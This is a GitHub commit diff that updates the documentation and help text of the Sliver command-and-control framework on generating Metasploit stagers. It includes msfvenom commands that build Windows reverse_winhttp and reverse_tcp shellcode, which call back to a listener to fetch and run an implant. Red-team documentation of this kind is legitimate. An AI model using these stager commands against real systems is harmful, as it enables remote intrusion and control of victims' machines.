You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
202
-
203
-
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
204
-
Bad characters must be specified like this for single bytes:
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
218
-
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
219
-
TCP: meterpreter/reverse_tcp
220
-
HTTP: custom/reverse_winhttp
221
-
HTTPS: custom/reverse_winhttps
222
-
223
-
Example:
224
-
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
Copy file name to clipboardExpand all lines: docs/sliver-docs/pages/docs/md/Stagers.md
+20-11Lines changed: 20 additions & 11 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -50,7 +50,10 @@ ID Name Protocol Port
50
50
51
51
### Metasploit: Bring Your Own Stager
52
52
53
-
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
53
+
**Using Metasploit stagers is only supported on Windows.**
54
+
55
+
#### Generating an HTTP stager
56
+
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
@@ -60,26 +63,32 @@ This will prepend the size of the payload to the final binary sent to the stager
60
63
61
64
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
62
65
63
-
We can now generate a stager using the `generate stager` command:
66
+
Either `msfconsole` or `msfvenom`can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
69
70
```
70
71
71
-
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
72
-
The generated shellcode can now be used on the target system to start a new Sliver session.
72
+
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
73
73
74
-
## Generating Stagers with the Metasploit Framework
74
+
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
75
75
76
-
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
76
+
#### Generating a TCP stager
77
+
Use the `stage-listener` command to set up a listener that will send the binary to the stager:
77
78
78
79
```
79
-
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
83
+
Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
84
+
85
+
As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
86
+
87
+
```
88
+
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
89
+
90
+
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
0 commit comments